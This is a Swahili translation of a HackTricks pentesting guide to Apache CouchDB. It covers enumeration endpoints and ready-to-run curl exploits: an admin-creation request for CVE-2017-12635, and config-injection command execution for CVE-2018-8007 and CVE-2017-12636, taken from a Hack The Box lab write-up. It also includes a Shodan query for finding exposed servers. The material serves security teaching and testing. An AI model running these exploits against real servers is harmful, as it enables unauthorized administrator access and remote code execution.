5984,6984 - Pentesting CouchDB
Reading time: 12 minutes
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Taarifa za Msingi
CouchDB ni hifadhidata yenye uwezo na inayoweza kubadilika ambayo inaratibu data kwa kutumia muundo wa ramani ya funguo-thamani ndani ya kila document. Sehemu ndani ya document zinaweza kuwakilishwa kama funguo/maadili, orodha, au ramani, ikitoa kubadilika katika uhifadhi na upatikanaji wa data.
Kila document iliyohifadhiwa katika CouchDB inapewa kitambulisho cha kipekee (_id
) katika ngazi ya document. Zaidi ya hayo, kila marekebisho yaliyofanywa na kuhifadhiwa kwenye hifadhidata yanapewa nambari ya marekebisho (_rev
). Nambari hii ya marekebisho inaruhusu kufuatilia na kusimamia mabadiliko kwa ufanisi, ikirahisisha upatikanaji na usawazishaji wa data ndani ya hifadhidata.
Bandari ya kawaida: 5984(http), 6984(https)
PORT STATE SERVICE REASON
5984/tcp open unknown syn-ack
Uhesabuji wa Otomatiki
nmap -sV --script couchdb-databases,couchdb-stats -p <PORT> <IP>
msf> use auxiliary/scanner/couchdb/couchdb_enum
Uainishaji wa Mikono
Bango
curl http://IP:5984/
Hii inatoa ombi la GET kwa mfano wa CouchDB uliofungwa. Jibu linapaswa kuonekana kama mojawapo ya yafuatayo:
{"couchdb":"Welcome","version":"0.10.1"}
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}
note
Kumbuka kwamba ikiwa unapata mizizi ya couchdb unapata 401 Unauthorized
na kitu kama hiki: {"error":"unauthorized","reason":"Authentication required."}
hutaweza kufikia bendera au kiunganishi kingine chochote.
Info Enumeration
Hizi ndizo kiunganishi ambapo unaweza kufikia kwa ombi la GET na kutoa taarifa za kuvutia. Unaweza kupata kiunganishi zaidi na maelezo ya kina katika nyaraka za couchdb.
/_active_tasks
Orodha ya kazi zinazofanyika, ikiwa ni pamoja na aina ya kazi, jina, hali na kitambulisho cha mchakato./_all_dbs
Inarudisha orodha ya hifadhidata zote katika mfano wa CouchDB.- **
/_cluster_setup
** Inarudisha hali ya node au klasta, kulingana na msaidizi wa usanidi wa klasta. /_db_updates
Inarudisha orodha ya matukio yote ya hifadhidata katika mfano wa CouchDB. Uwepo wa hifadhidata ya_global_changes
unahitajika kutumia kiunganishi hiki./_membership
Inaonyesha nodes ambazo ni sehemu ya klasta kamacluster_nodes
. Sehemuall_nodes
inaonyesha nodes zote ambazo node hii inazijua, ikiwa ni pamoja na zile ambazo ni sehemu ya klasta./_scheduler/jobs
Orodha ya kazi za nakala. Maelezo ya kila kazi yatakuwa na taarifa za chanzo na lengo, kitambulisho cha nakala, historia ya tukio la hivi karibuni, na mambo mengine machache./_scheduler/docs
Orodha ya hali za hati za nakala. Inajumuisha taarifa kuhusu hati zote, hata katika hali zacompleted
nafailed
. Kwa kila hati inarudisha kitambulisho cha hati, hifadhidata, kitambulisho cha nakala, chanzo na lengo, na taarifa nyingine./_scheduler/docs/{replicator_db}
/_scheduler/docs/{replicator_db}/{docid}
/_node/{node-name}
Kiunganishi/_node/{node-name}
kinaweza kutumika kuthibitisha jina la node ya Erlang ya seva inayoshughulikia ombi. Hii ni muhimu zaidi unapofikia/_node/_local
ili kupata taarifa hii./_node/{node-name}/_stats
Rasilimali_stats
inarudisha kitu cha JSON kinachojumuisha takwimu za seva inayofanya kazi. Mstari halisi_local
hutumikia kama jina mbadala kwa jina la node ya ndani, hivyo kwa URL zote za takwimu,{node-name}
inaweza kubadilishwa na_local
, ili kuingiliana na takwimu za node ya ndani./_node/{node-name}/_system
Rasilimali _system inarudisha kitu cha JSON kinachojumuisha takwimu mbalimbali za kiwango cha mfumo kwa seva inayofanya kazi_._ Unaweza kutumia ___local
kama {node-name} kupata taarifa za sasa za node./_node/{node-name}/_restart
/_up
Inathibitisha kwamba seva iko juu, inafanya kazi, na tayari kujibu maombi. Ikiwamaintenance_mode
nitrue
aunolb
, kiunganishi kitarejesha jibu la 404.- **
/_uuids
** Inahitaji kitambulisho kimoja au zaidi cha Kipekee Duniani (UUIDs) kutoka kwa mfano wa CouchDB. - **
/_reshard
** Inarudisha idadi ya kazi zilizokamilika, zilizoshindwa, zinazofanya kazi, zilizositishwa, na jumla pamoja na hali ya upya wa klasta.
Taarifa zaidi za kuvutia zinaweza kutolewa kama ilivyoelezwa hapa: https://lzone.de/cheat-sheet/CouchDB
Orodha ya Hifadhidata
curl -X GET http://IP:5984/_all_dbs
Ikiwa ombi hilo linajibu na 401 isiyoidhinishwa, basi unahitaji vithibitisho halali ili kufikia hifadhidata:
curl -X GET http://user:password@IP:5984/_all_dbs
Ili kupata Credentials halali unaweza jaribu kuvunjavunja huduma.
Hii ni mfano wa jibu la couchdb unapokuwa na mamlaka ya kutosha ya kuorodhesha hifadhidata (Ni orodha tu ya dbs):
["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]
Database Info
Unaweza kupata taarifa za database (kama idadi ya faili na ukubwa) kwa kufikia jina la database:
curl http://IP:5984/<database>
curl http://localhost:5984/simpsons
#Example response:
{"db_name":"simpsons","update_seq":"7-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXLIyU9OzMnILy7JAUoxJTIkyf___z8rkQmPoiQFIJlkD1bHjE-dA0hdPFgdAz51CSB19WB1jHjU5bEASYYGIAVUOp8YtQsgavfjtx-i9gBE7X1i1D6AqAX5KwsA2vVvNQ","sizes":{"file":62767,"external":1320,"active":2466},"purge_seq":0,"other":{"data_size":1320},"doc_del_count":0,"doc_count":7,"disk_size":62767,"disk_format_version":6,"data_size":2466,"compact_running":false,"instance_start_time":"0"}
Orodha ya Nyaraka
Orodha kila kipengee ndani ya hifadhidata
curl -X GET http://IP:5984/{dbname}/_all_docs
curl http://localhost:5984/simpsons/_all_docs
#Example response:
{"total_rows":7,"offset":0,"rows":[
{"id":"f0042ac3dc4951b51f056467a1000dd9","key":"f0042ac3dc4951b51f056467a1000dd9","value":{"rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329"}},
{"id":"f53679a526a868d44172c83a61000d86","key":"f53679a526a868d44172c83a61000d86","value":{"rev":"1-7b8ec9e1c3e29b2a826e3d14ea122f6e"}},
{"id":"f53679a526a868d44172c83a6100183d","key":"f53679a526a868d44172c83a6100183d","value":{"rev":"1-e522ebc6aca87013a89dd4b37b762bd3"}},
{"id":"f53679a526a868d44172c83a61002980","key":"f53679a526a868d44172c83a61002980","value":{"rev":"1-3bec18e3b8b2c41797ea9d61a01c7cdc"}},
{"id":"f53679a526a868d44172c83a61003068","key":"f53679a526a868d44172c83a61003068","value":{"rev":"1-3d2f7da6bd52442e4598f25cc2e84540"}},
{"id":"f53679a526a868d44172c83a61003a2a","key":"f53679a526a868d44172c83a61003a2a","value":{"rev":"1-4446bfc0826ed3d81c9115e450844fb4"}},
{"id":"f53679a526a868d44172c83a6100451b","key":"f53679a526a868d44172c83a6100451b","value":{"rev":"1-3f6141f3aba11da1d65ff0c13fe6fd39"}}
]}
Soma Hati
Soma maudhui ya hati ndani ya database:
curl -X GET http://IP:5984/{dbname}/{id}
curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9
#Example response:
{"_id":"f0042ac3dc4951b51f056467a1000dd9","_rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329","character":"Homer","quote":"Doh!"}
CouchDB Privilege Escalation CVE-2017-12635
Shukrani kwa tofauti kati ya parsers za Erlang na JavaScript JSON unaweza kuunda mtumiaji wa admin mwenye akauti hacktricks:hacktricks
kwa ombi lifuatalo:
curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json"
Taarifa zaidi kuhusu hii vuln hapa.
CouchDB RCE
Muhtasari wa Usalama wa Keki ya Erlang
Mfano kutoka hapa.
Katika nyaraka za CouchDB, hasa katika sehemu inayohusiana na usanidi wa klasta (link), matumizi ya bandari na CouchDB katika hali ya klasta yanajadiliwa. Inatajwa kwamba, kama katika hali ya pekee, bandari 5984
inatumika. Aidha, bandari 5986
ni kwa APIs za node-local, na muhimu zaidi, Erlang inahitaji bandari ya TCP 4369
kwa ajili ya Erlang Port Mapper Daemon (EPMD), ikirahisisha mawasiliano ya node ndani ya klasta ya Erlang. Usanidi huu unaunda mtandao ambapo kila node inahusishwa na kila node nyingine.
Taarifa muhimu ya usalama inasisitizwa kuhusu bandari 4369
. Ikiwa bandari hii itapatikana kupitia Mtandao au mtandao wowote usioaminika, usalama wa mfumo unategemea sana kitambulisho cha kipekee kinachojulikana kama "keki." Keki hii inafanya kazi kama kinga. Kwa mfano, katika orodha fulani ya michakato, keki inayoitwa "monster" inaweza kuonekana, ikionyesha jukumu lake katika mfumo wa usalama wa mfumo.
www-data@canape:/$ ps aux | grep couchdb
root 744 0.0 0.0 4240 640 ? Ss Sep13 0:00 runsv couchdb
root 811 0.0 0.0 4384 800 ? S Sep13 0:00 svlogd -tt /var/log/couchdb
homer 815 0.4 3.4 649348 34524 ? Sl Sep13 5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b
Kwa wale wanaovutiwa na kuelewa jinsi "keki" hii inaweza kutumika kwa ajili ya Remote Code Execution (RCE) ndani ya muktadha wa mifumo ya Erlang, sehemu maalum inapatikana kwa ajili ya kusoma zaidi. Inabainisha mbinu za kutumia keki za Erlang kwa njia zisizoidhinishwa ili kupata udhibiti juu ya mifumo. Unaweza kuchunguza mwongozo wa kina juu ya kutumia keki za Erlang kwa RCE hapa.
Kutatua CVE-2018-8007 kupitia Marekebisho ya local.ini
Mfano kutoka hapa.
Uthibitisho wa hivi karibuni wa udhaifu, CVE-2018-8007, unaoathiri Apache CouchDB ulifanyiwa uchambuzi, ukionyesha kuwa matumizi yanahitaji ruhusa za kuandika kwenye faili local.ini
. Ingawa si moja kwa moja inatumika kwa mfumo wa lengo la awali kutokana na vizuizi vya usalama, marekebisho yalifanywa ili kutoa ufikiaji wa kuandika kwenye faili local.ini
kwa ajili ya kusoma. Hatua za kina na mifano ya msimbo zinatolewa hapa chini, zikionyesha mchakato.
Kwanza, mazingira yanaandaliwa kwa kuhakikisha faili local.ini
inaweza kuandikwa, ikithibitishwa kwa kuorodhesha ruhusa:
root@canape:/home/homer/etc# ls -l
-r--r--r-- 1 homer homer 18477 Jan 20 2018 default.ini
-rw-rw-rw- 1 homer homer 4841 Sep 14 17:39 local.ini
-r--r--r-- 1 root root 4841 Sep 14 14:30 local.ini.bk
-r--r--r-- 1 homer homer 1345 Jan 14 2018 vm.args
Ili kutumia udhaifu huo, amri ya curl inatekelezwa, ikilenga usanidi wa cors/origins
katika local.ini
. Hii inaingiza asili mpya pamoja na amri za ziada chini ya sehemu ya [os_daemons]
, ikilenga kutekeleza msimbo wa kiholela:
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf"
Uthibitisho wa baadaye unaonyesha usanidi ulioingizwa katika local.ini
, ukilinganisha na nakala ya akiba ili kuonyesha mabadiliko:
root@canape:/home/homer/etc# diff local.ini local.ini.bk
119,124d118
< [cors]
< origins = 0xdf
< [os_daemons]
< test_daemon = /usr/bin/touch /tmp/0xdf
Kwanza, faili lililotarajiwa (/tmp/0xdf
) halipo, ikionyesha kwamba amri iliyowekwa haijatekelezwa bado. Uchunguzi zaidi unaonyesha kwamba michakato inayohusiana na CouchDB inafanya kazi, ikiwa ni pamoja na moja ambayo inaweza kutekeleza amri iliyowekwa:
root@canape:/home/homer/bin# ps aux | grep couch
Kwa kumaliza mchakato wa CouchDB ulioainishwa na kuruhusu mfumo kuanzisha upya kiotomatiki, utekelezaji wa amri iliyowekwa unachochewa, ikithibitishwa na kuwepo kwa faili iliyokosekana hapo awali:
root@canape:/home/homer/etc# kill 711
root@canape:/home/homer/etc# ls /tmp/0xdf
/tmp/0xdf
Uchunguzi huu unathibitisha uwezekano wa unyakuzi wa CVE-2018-8007 chini ya hali maalum, hasa hitaji la ufikiaji wa kuandika kwenye faili local.ini
. Mifano ya msimbo iliyotolewa na hatua za utaratibu zinatoa mwongozo wazi wa kuiga unyakuzi katika mazingira yaliyodhibitiwa.
Kwa maelezo zaidi kuhusu CVE-2018-8007, rejea kwenye taarifa ya mdsec: CVE-2018-8007.
Kuchunguza CVE-2017-12636 na Ruhusa za Kuandika kwenye local.ini
Mfano kutoka hapa.
Ukiukaji unaojulikana kama CVE-2017-12636 ulifanyiwa uchunguzi, ambao unaruhusu utekelezaji wa msimbo kupitia mchakato wa CouchDB, ingawa usanidi maalum unaweza kuzuia unyakuzi wake. Licha ya marejeleo mengi ya Ushahidi wa Dhihirisho (POC) yanayopatikana mtandaoni, marekebisho yanahitajika ili kuweza kutumia ukiukaji huu kwenye toleo la CouchDB 2, tofauti na toleo linalolengwa mara nyingi la 1.x. Hatua za awali zinajumuisha kuthibitisha toleo la CouchDB na kuthibitisha kutokuwepo kwa njia ya seva za uchunguzi zinazotarajiwa:
curl http://localhost:5984
curl http://0xdf:df@localhost:5984/_config/query_servers/
Ili kuendana na toleo la CouchDB 2.0, njia mpya inatumika:
curl 'http://0xdf:df@localhost:5984/_membership'
curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers
Majaribio ya kuongeza na kuitisha seva mpya ya uchunguzi yalikutana na makosa yanayohusiana na ruhusa, kama inavyoonyeshwa na matokeo yafuatayo:
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
Uchunguzi zaidi ulibaini matatizo ya ruhusa na faili ya local.ini
, ambayo haikuweza kuandikwa. Kwa kubadilisha ruhusa za faili kwa kutumia root au ufikiaji wa homer, ilikua inawezekana kuendelea:
cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b
chmod 666 /home/homer/etc/local.ini
Majaribio ya baadaye ya kuongeza seva ya uchunguzi yalifanikiwa, kama inavyoonyeshwa na ukosefu wa ujumbe wa makosa katika jibu. Marekebisho ya mafanikio ya faili local.ini
yalithibitishwa kupitia kulinganisha faili:
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
Mchakato uliendelea na uundaji wa hifadhidata na hati, ukifuatwa na jaribio la kutekeleza msimbo kupitia ramani ya maoni ya kawaida kwa seva ya uchunguzi iliyoongezwa hivi karibuni:
curl -X PUT 'http://0xdf:df@localhost:5984/df'
curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}'
A muhtasari wenye payload mbadala unatoa ufahamu zaidi kuhusu kutumia CVE-2017-12636 chini ya hali maalum. Rasilimali muhimu za kutumia udhaifu huu ni pamoja na:
Shodan
port:5984 couchdb
Marejeo
- https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html
- https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.